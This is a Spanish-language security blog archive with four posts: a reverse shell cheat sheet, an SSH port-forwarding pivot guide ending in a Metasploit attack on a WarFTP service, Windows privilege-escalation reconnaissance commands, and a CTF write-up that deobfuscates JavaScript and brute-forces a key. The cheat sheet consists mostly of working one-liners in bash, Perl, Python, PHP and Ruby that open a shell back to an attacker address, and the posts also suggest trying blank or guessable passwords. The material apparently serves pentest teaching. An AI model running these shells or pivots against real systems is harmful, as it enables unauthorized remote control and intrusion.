Un blog de Seguridad Informática, desde un punto de vista tecnológico

Archivo de Autor

Simple Reverse Shell Cheat Sheet

El objetivo de este post es facilitar un pequeño listado de algunas maneras fáciles y simples de implementar una reverse shell, algo que tarde o temprano siempre se utiliza en un pentest.

Una reverse shell consiste en crear una conexión remota desde la máquina víctima hacia la máquina atacante, por ejemplo desde una máquina ubicada en una red interna hacia la máquina atacante en Internet, siendo una técnica muy útil para realizar la evasión de un firewall que bloquee las conexiones entrantes a la red interna pero no las conexiones salientes desde la red interna hacia el exterior.

La manera más simple de conseguir una reverse shell es ejecutar un simple netcat “nc -e”, sin embargo, según qué versión de nc haya instalada hay opciones que pueden no funcionar igual, en este caso, el parámetro  “-e”. Por ejemplo, en Kali funciona pero no así en Ubuntu. Para saber qué versión está instalada de “nc” ejecutar “nc -h”.

Para practicar con las reverse shells, en el cliente (máquina atacante, que recibirá la reverse shell) ejecutar el comando “nc -nlvp 8080” para crear una conexión “escuchando” y en el servidor (máquina victima, ordenador que enviará la shell hacia la máquina atacante) ejecutar la reverse shell específica que se desee probar.

En todos los casos, se ha de substituir la dirección IP “192.168.1.49” y el puerto 8080 por la dirección IP y el puerto de la máquina atacante.

Bash Reverse Shell

Mediante el uso de /dev/tcp

  • /bin/bash -i > /dev/tcp/192.168.1.49/8080 0<&1 2>&1

Mediante el uso named pipes

  • rm /tmp/blackpipe;mkfifo /tmp/blackpipe;cat /tmp/blackpipe|/bin/sh -i 2>&1|nc 192.168.1.49 8080 >/tmp/blackpipe
  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && nc 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante telnet

  • rm /tmp/blackpipe;mknod /tmp/blackpipe p && telnet 192.168.1.49 8080 0</tmp/blackpipe |/bin/bash 1>/tmp/blackpipe

Mediante el uso de descriptores

  • 0<&196;exec 196<>/dev/tcp/192.168.1.49/8080; sh <&196 >&196 2>&196
  • exec 5<>/dev/tcp/192.168.1.49/8080 cat

<&5 | while read line; do $line 2>&5 >&5; done

o bien:

cat <&5 | while read line; do $line 2>&5 >&5;

Perl Reverse Shell

  • perl -e ‘use Socket;$i=”192.168.1.49″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  • perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Y si el sistema objetivo es Windows:

  • perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”192.168.1.49:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Python Reverse Shell

  • python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.49”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Php Reverse Shell

  • php -r ‘$sock=fsockopen(“192.168.1.49”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Ruby Reverse Shell

  • ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
  • ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“192.168.1.49″,”8080″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Y si el sistema objetivo es Windows:

  • ruby -rsocket -e ‘c=TCPSocket.new(“attackerip”,”4444″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’

Más información

Indicar que todas las reverse shell descritas aquí han sido probadas con éxito en fecha 17 de Abril de 2016 con una distribución Kali como cliente y una distribución Ubuntu como servidor

Por último, se indican algunas de las fuentes más relevantes consultadas para la realización de este pequeño post:

  1. http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  2. http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
  3. http://bernardodamele.blogspot.com.es/2011/09/reverse-shells-one-liners.html
  4. https://linuxprograms.wordpress.com/2008/02/14/fifo-named-pipes-mkfifo-mknod/

SSH – Port Forwarding

En este post se explicará como realizar port forwarding con ssh y se verá alguna de sus posibles aplicaciones.

Introducción

El protocolo ssh es comúnmente utilizado para acceder a un terminal/sistema remoto y poder ejecutar comandos de forma segura. Sin embargo, también es posible utilizar este protocolo para realizar port forwarding, es decir, reenviamiento de puertos mediante la creación de túneles ssh entre los extremos de la conexión.

Con este mecanismo es posible realizar evasiones de firewall o bloqueos de puertos, independientemente de que el emisor-receptor se encuentren en redes diferentes, siempre que haya la posibilidad de conectarse mediante SSH.

Escenario de demostración

Para realizar esta demo se han utilizado tres máquinas diferentes en dos redes, externa e interna:

  1. Kali Linux de nombre “Sheron” y IP 192.168.1.58, con un cliente SSH y cuyo rol es el de ser la máquina atacante. Se encuentra en la red externa.
  2. Kali Linux de nombre “Goku” y con dos direcciones IP: 192.168.1.46 y 192.168.2.136, con un servidor ssh y cuyo rol es el de router entre la red externa (192.168.1.XX) y la red interna (192.168.2.XX).
  3. Windows XP de nombre “Mutenroshi”, con IP 192.168.2.133, cuyo rol es ser, como no, la máquina víctima. Se encuentra en la red interna.

Este escenario intenta simular un ataque realizado desde Internet hacia el router de la víctima, y una vez el atacante tiene el control de dicho router mediante el uso de túneles ssh puede interaccionar con las máquinas de la red interna.

Nota: Únicamente el router tiene visibilidad de las dos redes, la máquina atacante no puede ver directamente la máquina víctima.

Parte I: Comunicaciones entre el atacante y el router

Local Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP 192.168.1.58 desde Internet
  2. Víctima: Router con IP 192.168.1.46 accesible desde Internet

Nota: En este escenario, el atacante ya ha conseguido previamente un usuario del router

El objetivo es conseguir que un servicio publicado del router sea redireccionado a la máquina atacante. En este caso concreto, se enviará el puerto remoto 80 del router al puerto local 8080 de la máquina atacante.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58) :

ssh -N -f -L localhost:8080:localhost:80 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • N: No se ejecutan comandos remotos, únicamente se establece conexión.
  • f: Se envía ssh a background.
  • L: Como el servicio deseado esta siendo publicado por el servidor ssh en el router, no por el cliente ssh en la Kali atacante, se ha de realizar un Local Port Forwarding. El concepto sería que el cliente de ssh se “trae” localmente el servicio remoto publicado por el servidor ssh.
  • <puerto destino del cliente ssh>:<ip origen de la red interna del servidor ssh:puerto origen de la ip de la red interna del servidor ssh> <user@ip_servidor ssh>
  • <local port to listen>:<remote host>:<remote port> <gateway>

screen1

Remote Port Forwarding entre la máquina atacante y el router

Los actores que participan son los siguientes:

  1. Atacante: Kali Linux con  IP 192.168.1.58 desde Internet
  2. Víctima: Router con IP 192.168.1.46 accesible desde Internet

El objetivo es conseguir publicar un servicio local del cliente ssh (atacante) de forma remota en el servidor ssh (router). Se enviará el puerto local 80 de Kali Linux con  IP 192.168.1.58 al puerto remoto 8085 del router con IP 192.168.1.46.

Para lograrlo, se ejecuta lo siguiente en el cliente ssh (192.168.1.58):

ssh -N -f -R localhost:8085:localhost:80 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • R: En este caso, el servicio se está publicando en el cliente ssh (atacante), por lo tanto hay que “enviarlo” al servidor ssh (router), esto se realiza mediante un Remote Port Forwarding.
  • <puerto destino de la dirección ip del servidor ssh><ip origen de la red del atacante:puerto origen de la ip de la red del atacante> <user@ip_servidor ssh>
  • <remote port to bind>:<local host>:<local port> <gateway>

screen2

Truco

Para saber si hay que realizar Local o Remote port forwarding, un truco sencillo es “ubicar” el servicio que se desea redirigir. Si el servicio está publicado en el servidor ssh y se desea publicarlo en el cliente, entonces es Local, por el contrario, si el servicio se encuentra en el cliente ssh y se desea publicar en el servidor ssh, entonces será Remote.

Parte II: Atacando a la red interna – Servidor ssh como máquina puente

En este punto, el atacante (Kali Linux con  IP 192.168.1.58) quiere atacar a la máquina víctima Windows XP (IP 92.168.2.133) ubicada en la red interna y que no es visible desde el exterior. Para conseguir este hito el atacante utilizará el router ( que tiene un servidor ssh instalado) como máquina puente.

Local Port forwarding desde la máquina víctima a la máquina atacante 

El objetivo es conseguir redirigir (o para entendernos, capturar) el servicio RDP de la máquina Windows XP (interna) a la máquina atacante  (externa) mediante el servidor de ssh (router)  . En este caso concreto, se enviará el puerto 3389 de Windows XP (192.168.2.133) al puerto 9090 de máquina atacante (192.168.1.58) utilizando para ello el router (servidor de ssh), como máquina de salto.

Para lograrlo, se ejecuta lo siguiente en la máquina atacante:

 ssh -N -f -L localhost:9090:192.168.2.133:3389 nyanyi@192.168.1.46

La explicación de la instrucción es la siguiente:

  • L: Como el servicio deseado esta siendo publicado por una dirección IP de la red interna del servidor ssh y/o no es un servicio propio del cliente ssh, la máquina atacante realiza un Local Port Forwarding para “traerse” el servicio
  • <puerto destino del cliente ssh><ip origen del lado servidor ssh:puerto origen del lado servidor ssh> <user@ip_servidor ssh>

En este punto es importante remarcar que cuando se realiza un Local Port al cliente ssh, el puerto redirigido puede acceptar conexiones externas de otras máquinas. La instrucción sería:

ssh -N -f -L 0.0.0.0:port cliente:ip red interna:port_ip_red_interna user@server_ssh

screen3

Remote Port forwarding desde la máquina atacante a la máquina cliente sin usuario root del servidor ssh

En el apartado anterior se ha comentado la posibilidad de permitir conexiones entrantes a un servicio redirigido locamente al cliente ssh. Pero,por seguridad, no es posible permitir que el servidor ssh acepte conexiones entrantes a un servicio publicado mediante Remote Port forwarding… ¿Seguro que no es posible?

La respuesta a esta pregunta es que utilizando diferentes técnicas sí que es posible, pero es un poco más complicado que lo visto hasta ahora. Se puede realizar si el atacante es root del servidor ssh o utilizando dos túneles y/o el parámetro -g (bendito parámetro).

Aceptación de conexiones entrantes mediante dos túneles

El objetivo es conseguir publicar el servidor web de la máquina atacante en el servidor ssh (router) y que la máquina víctima de la red interna se pueda conectar.

En la máquina atacante (cliente ssh) se utiliza la siguiente instrucción:

ssh -R localhost:7894:localhost:80 nyanyi@192.168.1.46

screen5

 

Ahora, en el  ROUTER, se ejecuta la siguiente instrucción:

ssh -g -L 8282:localhost:7894 nyanyi@localhost

  • El parámetro g, extraído directamente del man de ssh: Allows remote hosts to connect to local forwarded ports.

screen7

Otra manera de hacerlo, inclusive sin el parámetro g es:

ssh  -L 0.0.0.0:8226:localhost:7894 nyanyi@localhost

screen6

Aceptación de conexiones entrantes siendo root del servidor ssh

En el caso que el atacante disponga del usuario root (o usuarios con privilegios sudo) puede modificar la configuración del servidor ssh para que acepte conexiones entrantes en puertos redirigidos de forma remota.

El fichero que se ha de modificar es: /etc/ssh/sshd_config y se ha de escribir la siguiente opción: GatewayPorts clientspecified

Luego: sudo /etc/init.d/ssh reload

Y finalmente, la instrucción que se ha de ejecutar desde el cliente ssh es:

ssh -R 0.0.0.0:8095:localhost:80 nyanyi@192.168.1.46

Nota: En este caso, con una sola instrucción ya sirve, en contraposición con el caso anterior, que se necesitan dos instrucciones. Eso si, se ha de ser root.

Comprobaciones de las conexiones

A continuación se listan varios comandos con “netstat” que se pueden utilizar para comprobar el estado de las conexiones realizadas:

  • netstat -punta
  • netstat -ltn

screen8Parte III: Caso Práctico – Atacando con Metasploit a la víctima

En este punto, el atacante dispone de lo siguiente:

1- Acceso a la maquina router con usuario “low privilege”.

2- Conoce que en la máquina Windows XP se está ejecutando un software vulnerable “WarFTP ver 1.65” en el puerto 21 y que hay un exploit en Metasploit.

screen10

3- Al no haber visibilidad entre la máquina atacante y la víctima (redes diferentes) se ha de utilizar la máquina router y su servidor de ssh para redirigir las comunicaciones.

Nota: Los puertos que se utilizan en este escenario (excepto el 21) son aleatorios.

Local Port Forwarding del puerto 21 de la máquina víctima a la máquina atacante

En la máquina atacante, se ejecuta la siguiente instrucción:

ssh -N -f -L 5668:192.168.2.133:21 nyanyi@192.168.1.46

En este momento, en  la máquina atacante está publicado en el puerto 5668 el puerto 21 (servicio War FTPD vulnerable) de la máquina Windows XP (víctima) utilizando el router como máquina de salto.

Remote Port Forwarding del puerto 2682 de la maquina atacante al servidor ssh

El atacante tiene diferentes opciones para realizar la conexión con el payload, como podría ser utilizar una máquina con una dirección pública o inclusive un payload de conexión directa (bind shell). Pero en esta demo se va a realizar mediante una reverse shell dado que se requiere una configuración más compleja.

Al utilizar Metasploit, es necesario redirigir un puerto de la máquina atacante en el servidor SSH para que el payload (meterpreter) realice la conexión a traves de una  reverse shell hacia este puerto.

En la máquina atacante se ejecuta la siguiente instrucción:

ssh -R 7895:localhost:2682 nyanyi@192.168.1.46

Y ahora es necesario configurar en el servidor ssh que se acepten conexiones remotas. Por lo tanto, en el servidor ssh se debe ejecutar alguna de las siguientes instrucciones:

ssh -g -L 2682:localhost:7895 nyanyi@localhost

ssh -L 0.0.0.0:2682:localhost:7895 nyanyi@localhost

screen11

Nota: Recordar que también es posible modificar la configuración del servidor ssh si se dispone del usuario root.

Configuración del ataque con Metasploit

La configuración del ataque con Metasploit se realiza de la siguiente manera:

screensho12

Donde:

  • RHOST: Se indica la dirección 0.0.0.0 ya que el exploit será lanzado contra la misma máquina cliente (atacante) ya que tiene redirigido el puerto de la máquina víctima.
  • RPORT: Se indica 5668 por que es el puerto que redirige al puerto 21 de la maquina víctima. En resumen, se lanzara el ataque a la misma máquina atacante por que mediante la redirección de puertos por ssh realmente el ataque alcanzará a la máquina víctima.
  • Atención: Metasploit y los túneles SSH suelen dar problemas.  Es más recomendable utilizar dynamic port forwarding ( SSH -D port) y las instrucciones “set Proxies socks4:0.0.0.0:port”
    y “set ReverseAllowProxy true”
     que no redireccionamientos con  -L o -R. En el caso de utilizar puertos remotos o locales, como en este ejercicio, no hay que utilizar NUNCA la dirección 127.0.0.1 en RHOST, ya que podría impedir el correcto funcionamiento del exploit/payload utilizado. Se puede substituir por la dirección 127.0.0.2 o semejantes, aunque lo mejor en estos casos, es utilizar la dirección 0.0.0.0
  • LHOST: Se indica la dirección IP del servidor ssh visible desde la red de la víctima.
  • LPORT: Se indica el puerto redirigido remotamente desde la máquina atacante al servidor ssh.
  • Mediante la configuración de LHOST y LPORT cuando se ejecute el payload, éste intentara conectarse al servidor SSH que a su vez, redirigirá las comunicaciones a la máquina atacante mediante los puertos SSH creados.

A continuación se muestra una imagen de como el ataque tiene éxito:

screensho14

Nota: Esta fuera del alcance de este post explicar conceptos de metasploit.


Escalada de privilegios en sistemas Windows (I)

En esta serie de posts hablaremos de cómo realizar una escalada de privilegios en un sistema Windows, es decir, llegar a ser SYSTEM desde una cuenta de usuario sin privilegios.

En ocasiones la principal estrategia utilizada se basa en probar exploits para la versión de windows del objetivo, y aunque esto puede ser efectivo un gran numero de veces, queremos presentar una breve guía divida en fases que permitan al pentester realizar la escalada de privilegios de una forma ordenada, eficiente y probando diferentes vectores de ataque.

Remarcar que actualmente existen muchas referencias en Internet que tratan este tema siendo algunas de las principales las mencionadas a continuación: 

  1. FuzzySecurity
  2. Encyclopaedia Of Windows Privilege Escalation – Brett Moore
  3. Windows Attacks At Is The New Black – Rob Fuller And Chris Gates
  4. Windows Privilege Cheatsheet
  5. Windows_Services – All roads lead to SYSTEM
  6. Windows privilege escalation

En nuestro caso queremos hacer una síntesis de ellas y explicarlas paso a paso, sin embargo, señalar que queda fuera del alcance de este post como conseguir la Shell en el sistema.

Aclarado todo, empecemos, tenemos una Shell en una maquina Windows, molto benne…¿y ahora que demonios hacemos?

¿Dónde estoy? ¿Qué es ESTO? – Information gathering

Bien, en estos momentos, disponemos de una Shell en un sistema Windows. Antes de lanzarnos al ataque y disparar a todo lo que se mueva, es esencial realizar la fase de Information gathering. 

Lo principal es no obcecarse con ser SYSTEM, primero hay que conocer el entorno, cuanta más información  se tiene del activo más fácil es detectar un posible fallo de seguridad.

Información general

Sin ninguna duda, lo primero es obtener la versión exacta de Windows (OS Version) y (OS Name)  y información genérica. Para este propósito, se ejecuta el siguiente comando:

  • systeminfo

systeminfo7

 

  • Otra posibilidad: systeminfo | findstr /B /C:”OS Name” /C:”OS Version” (ojo con los idiomas)

systeminfoxp

 

Ok, ahora vamos a saber como se llama el host, que aunque parezca no relevante, siempre nos puede aportar información o alguna pista.

  •  hostname

hostname

 

Finalmente, es el momento de saber con que usuario estamos logged en el sistema, a lo mejor ya somos admin y no hace falta hacer nada más, aparte de celebrar una gran fiesta.

  • echo %username%

username

 

  • whoami

whoami

Información sobre usuarios

Siguiente paso, todo sistema operativo tiene usuarios que lo utilizan, miremos que usuarios tiene nuestro objetivo:

  • net users – net user $name_user

netusers

Vaya vaya Joe, además del usuario “Administrador” también existe el usuario “Nyanyi” que pertenece al grupo “Administradores”…..uhmm….interesante. Con este simple comando acabamos de ampliar las opciones de ataque.

Información de red

¿Está el host solo en el mundo? ¿en que red está? ¿con que máquinas habla?.  Tener la respuesta a estas preguntas podría ser la puerta de acceso a otras máquinas del entorno, imaginar que se puede alcanzar el ansiado SYSTEM en esta máquina pero si dirigir el pentest a otras máquinas .

Por otra parte, es muy útil conocer que servicios están a la escucha en el activo,que conexiones hay con otras máquinas. Quién sabe, a lo mejor algunos de los servicios publicados es vulnerable…

Los comandos a ejecutar serían los siguientes:

  • ipconfig /all
  • route print
  • arp -A
  • netstat -ano

ifconfig

 

route

 

netstat

 

Nota: A partir de XP SP2 utilizar los siguientes comandos para obtener información sobre el Firewall de la máquina:

  • netsh firewall show state
  • netsh firewall show config

firewall

Información sobre los servicios

Hasta este punto, se ha hablado sobre cómo obtener información general del sistema, que usuarios tiene y que comunicaciones hay a nivel de red. Uno de los últimos puntos a tratar en esta introducción  son las “tareas” o “servicios” existentes en la máquina.

De momento, sin querer entrar en detalle, un servicio no es más que la ejecución, en segundo plano, de un binario. Por lo tanto, hay 3 conceptos claves:

      • Binario que determina que acciones realizara el servicio.
      • Usuario que ejecuta el servicio.
      • Los privilegios del servicio, por ende, serán los mismos que los del usuario.

Los comandos a ejecutar para obtener la información relacionada con los servicios son los siguientes:

  • schtasks /query /fo LIST /v | more (tareas programadas)

servicios1

  • tasklist /SVC (servicios relacionado con su proceso)

tasklist

  • net start

netstart

  • sc queryex type= service state= all | find “$_NAME” (hablaremos más adelante de este comando (thanks P4chul0).

Conclusiones de la fase I

Con toda la información que hemos obtenido es el momento de realizar una primera iteración con el objetivo de lograr System, o en su defecto, un usuario administrador.

Pruebas a realizar:

  1. Tenemos el nombre de los usuarios, a lo mejor, hay alguno de ellos sin contraseña o que ésta sea su mismo nombre. O inclusive, que la contraseña sea el nombre del hostname….por qué no?.
  2. Se puede buscar su nombre de usuario en Checkusernames con la idea de obtener aún más información de redes sociales.
  3. Probar los usuarios en otras máquinas de la red.
  4. ¿Hay algún servicio publicado vulnerable?
  5. Imaginar

Si nada de esto funciona, pasaremos a la fase II. Es esencial recopilar toda la información obtenida en esta fase, porque cualquier dato obtenido puede ser la clave que nos ayude en procesos futuros más complejos, por ejemplo, la búsqueda de un exploit o una reverse shell por un puerto que no este cerrado por el firewall…

 


Reto 1 del CTF de las No cON Name 2013

Hola a todos, hola a tothom!

Mi nombre es Ignasi M. (ny4nyi) y he tenido el placer de ser invitado a participar en este blog. Es todo un honor. Espero que todo lo que pueda aportar os sea útil y disfrutéis!

Sobretodo, dar las gracias a Julian y a todo el equipo por darme esta oportunidad de poder participar con gente tan grande.

Ahora, a por materia.

El primer reto del CTF NoConName 2013 consistía en una página web que solicita una clave secreta para superar el reto.

Paso 1

La primera aproximación fue probar un número aleatorio para estudiar el comportamiento normal de la página. Obviamente, se produce un error de “Clave incorrecta” y se sigue en la misma página inicial (ya hubiera sido la ostia acertar a la primera ).

Una vez se conoce el comportamiento estándar de la página, se realizó un estudio del código fuente de la misma, y se encuentra lo siguiente:

   <head>

    <title>NcN 2013 Registration Quals</title>

    <link rel=”stylesheet” href=”../res/main.css” type=”text/css” media=”screen”/>

    <link href=’../res/UbuntuMono.css’ rel=’stylesheet’ type=’text/css’>

    <meta content=”Javier Marcos @javutin” name=”author” />

    <script type=”text/javascript” src=”crypto.js”></script>

  </head>

La página carga un “js” de nombre “crypto.js” que es el responsable de realizar la validación. Resaltar que al tratarse de un “js” se ejecuta en el navegador del cliente, no en servidor. Por lo tanto, el siguiente paso a seguir es realizar un estudio del código del “js” y entender su lógica/funcionamiento para identificar la posible manera de evadir o hallar la clave secreta de forma exitosa.

Se accede al archivo “cryto.js” para obtener su código fuente. Es algo tan bonito como esto:

var_0x52ae=[“\x66\x20\x6F\x28\x38\x29\x7B\x63\x20\x69\x2C\x6A\x3D\x30\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x69\x2B\x2B\x29\x7B\x6A\x2B\x3D\x28\x38\x5B\x69\x5D\x2E\x73\x28\x29\x2A\x28\x69\x2B\x31\x29\x29\x7D\x67\x20\x74\x2E\x75\x28\x6A\x29\x25\x76\x7D\x66\x20\x70\x28\x68\x29\x7B\x68\x3D\x68\x2E\x71\x28\x30\x29\x3B\x63\x20\x69\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x77\x3B\x2B\x2B\x69\x29\x7B\x63\x20\x35\x3D\x69\x2E\x78\x28\x79\x29\x3B\x6D\x28\x35\x2E\x6C\x3D\x3D\x31\x29\x35\x3D\x22\x30\x22\x2B\x35\x3B\x35\x3D\x22\x25\x22\x2B\x35\x3B\x35\x3D\x7A\x28\x35\x29\x3B\x6D\x28\x35\x3D\x3D\x68\x29\x41\x7D\x67\x20\x69\x7D\x66\x20\x6E\x28\x38\x29\x7B\x63\x20\x69\x2C\x61\x3D\x30\x2C\x62\x3B\x6B\x28\x69\x3D\x30\x3B\x69\x3C\x38\x2E\x6C\x3B\x2B\x2B\x69\x29\x7B\x62\x3D\x70\x28\x38\x2E\x71\x28\x69\x29\x29\x3B\x61\x2B\x3D\x62\x2A\x28\x69\x2B\x31\x29\x7D\x67\x20\x61\x7D\x66\x20\x42\x28\x39\x29\x7B\x63\x20\x32\x3B\x32\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x32\x3D\x32\x2A\x28\x33\x2B\x31\x2B\x33\x2B\x33\x2B\x37\x29\x3B\x32\x3D\x32\x3E\x3E\x3E\x36\x3B\x32\x3D\x32\x2F\x34\x3B\x32\x3D\x32\x5E\x43\x3B\x6D\x28\x32\x21\x3D\x30\x29\x7B\x72\x28\x27\x44\x20\x64\x21\x27\x29\x7D\x45\x7B\x72\x28\x27\x46\x20\x64\x20\x3A\x29\x27\x29\x7D\x39\x2E\x47\x2E\x65\x3D\x6E\x28\x39\x2E\x64\x2E\x65\x29\x3B\x39\x2E\x48\x2E\x65\x3D\x22\x49\x22\x2B\x6F\x28\x39\x2E\x64\x2E\x65\x29\x3B\x67\x20\x4A\x7D”,”\x7C”,”\x73\x70\x6C\x69\x74″,”\x7C\x7C\x72\x65\x73\x7C\x7C\x7C\x68\x65\x78\x5F\x69\x7C\x7C\x7C\x73\x74\x72\x7C\x66\x6F\x72\x6D\x7C\x7C\x7C\x76\x61\x72\x7C\x70\x61\x73\x73\x77\x6F\x72\x64\x7C\x76\x61\x6C\x75\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C\x66\x6F\x6F\x7C\x7C\x68\x61\x73\x68\x7C\x66\x6F\x72\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x69\x66\x7C\x6E\x75\x6D\x65\x72\x69\x63\x61\x6C\x5F\x76\x61\x6C\x75\x65\x7C\x73\x69\x6D\x70\x6C\x65\x48\x61\x73\x68\x7C\x61\x73\x63\x69\x69\x5F\x6F\x6E\x65\x7C\x63\x68\x61\x72\x41\x74\x7C\x61\x6C\x65\x72\x74\x7C\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x7C\x4D\x61\x74\x68\x7C\x61\x62\x73\x7C\x33\x31\x33\x33\x37\x7C\x32\x35\x36\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x31\x36\x7C\x75\x6E\x65\x73\x63\x61\x70\x65\x7C\x62\x72\x65\x61\x6B\x7C\x65\x6E\x63\x72\x79\x70\x74\x7C\x34\x31\x35\x33\x7C\x49\x6E\x76\x61\x6C\x69\x64\x7C\x65\x6C\x73\x65\x7C\x43\x6F\x72\x72\x65\x63\x74\x7C\x6B\x65\x79\x7C\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x7C\x79\x65\x73\x7C\x74\x72\x75\x65″,””,”\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65″,”\x72\x65\x70\x6C\x61\x63\x65″,”\x5C\x77\x2B”,”\x5C\x62″,”\x67″];eval(function (_0x7038x1,_0x7038x2,_0x7038x3,_0x7038x4,_0x7038x5,_0x7038x6){_0x7038x5=function (_0x7038x3){return (_0x7038x3<_0x7038x2?_0x52ae[4]:_0x7038x5(parseInt(_0x7038x3/_0x7038x2)))+((_0x7038x3=_0x7038x3%_0x7038x2)>35?String[_0x52ae[5]](_0x7038x3+29):_0x7038x3.toString(36));};if(!_0x52ae[4][_0x52ae[6]](/^/,String)){while(_0x7038x3-)_0x7038x6[_0x7038x5(_0x7038x3)]=_0x7038x4[_0x7038x3]||_0x7038x5(_0x7038x3);} ;_0x7038x4=[function (_0x7038x5){return _0x7038x6[_0x7038x5];} ];_0x7038x5=function (){return _0x52ae[7];} ;_0x7038x3=1;} ;while(_0x7038x3–){if(_0x7038x4[_0x7038x3]){_0x7038x1=_0x7038x1[_0x52ae[6]]( new RegExp(_0x52ae[8]+_0x7038x5(_0x7038x3)+_0x52ae[8],_0x52ae[9]),_0x7038x4[_0x7038x3]);} ;} ;return _0x7038x1;} (_0x52ae[0],46,46,_0x52ae[3][_0x52ae[2]](_0x52ae[1]),0,{}));

Como se puede ver, el código del “js” esta ofuscado (lastima, habrá que currar más). Ha de quedar claro que esta ofuscado, NO cifrado.

Si se disecciona el código, a grandes rasgos se puede detectar lo siguiente:

  • Una variable de nombre “var_0x52ae” : Parece ser un vector donde el valor de cada posición está representado en código hexadecimal. Recordar que si un valor se escribe como “\x” significa que se representa en sistema hexa.
  • Una función eval: Definición purista, “Si el argumento es una expresión, eval () evalúa la expresión. Si el argumento es una o más sentencias JavaScript, eval () ejecuta las sentencias.”
  • La definición de funciones: Por ejemplo, “function (_0x7038x1,…)”
  • La llamada de funciones: Por ejemplo, “(_0x52ae[0],46,46,_0x52ae[3])”

Aclarar que en las definiciones de las funciones se ven nombres de parámetros tal que “_0x_7038x1” pero se desconoce su valor. Esto es porque en una declaración de función se puede dar cualquier nombre al parámetro, que luego éste recibirá el valor del parámetro usado en la llamada. En resumen, cuando se llame a la función, el valor del parámetro será el siguiente:

_0x7038x1=_0x52AE[0]=”\x66…..\7D”.

Paso 2

Para desofuscar el código js se pueden utilizar diferentes recursos online en la red, o simplemente, modificar la función “eval” por una función “alert” que se encargara de imprimir en una ventana la representación del código sin ofuscar, ya que interpretara todos los valores hexadecimales posibles como caracteres.

El resultado es el siguiente:

Imagen

El código sin ofuscar es:

Function simpleHash(str) {

var i, hash = 0;

for (i = 0; i < str.length; i++) {

hash += (str[i].charCodeAt() * (i + 1))

}

return Math.abs(hash) % 31337

}

 function ascii_one(foo) {

foo = foo.charAt(0);

var i;                              

for (i = 0; i < 256; ++i) {

var hex_i = i.toString(16);

if (hex_i.length == 1) hex_i = “0” + hex_i;

hex_i = “%” + hex_i;

hex_i = unescape(hex_i);

if (hex_i == foo) break

}

return i

}

 function numerical_value(str) {

var i, a = 0,

b;

for (i = 0; i < str.length; ++i) {

b = ascii_one(str.charAt(i));

a += b * (i + 1)

}

return a

}

function encrypt(form) {

var res;

res = numerical_value(form.password.value);

res = res * (3 + 1 + 3 + 3 + 7);

res = res >>> 6;

res = res / 4;

res = res ^ 4153;

if (res != 0) {

alert(‘Invalid password!’)

} else {

alert(‘Correct password :)’)

}

form.key.value = numerical_value(form.password.value);

form.verification.value = “yes” + simpleHash(form.password.value);

return true}

Paso 3

La lógica general de este código es la siguiente:

  1. La función “numerical_value” recibe el valor o cadena “X” que introduce el usuario en la página web y retorna un valor resultado que es la suma de cada carácter de la cadena X en su correspondiente valor decimal ASCII multiplicado por el resultado de la suma del valor de la posición del carácter en la cadena X +1
  2. La función “encryp” se encarga primero de aplicar varias operaciones sobre el valor retornado por la función “numerical_value” y después compara este valor “final” con 0. Si la comparación es cierta, el password (cadena “X”) introducida por el usuario es correcta.
  3. Estudiando con más detalle la función “encrypt” se determina que el valor “final” ha de estar entre el siguiente rango de valores :62540-62554.

Ya con esta información clara el último paso es introducir, mediante técnicas de “brute forcing”, una cadena de valores/caracteres que después de ser tratada por la función “numerical_value” de un valor que pertenezca al rango deseado.

En este caso se encontró la siguiente cadena:

ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZNR

Se introdujo esta cadena en la página web y tachan!:

Congrats! you passed the level! Here is the key:

23f8d1cea8d60c5816700892284809a94bd00fe7347645b96a99559749c7b7b8

Twitter: @Ny4nyi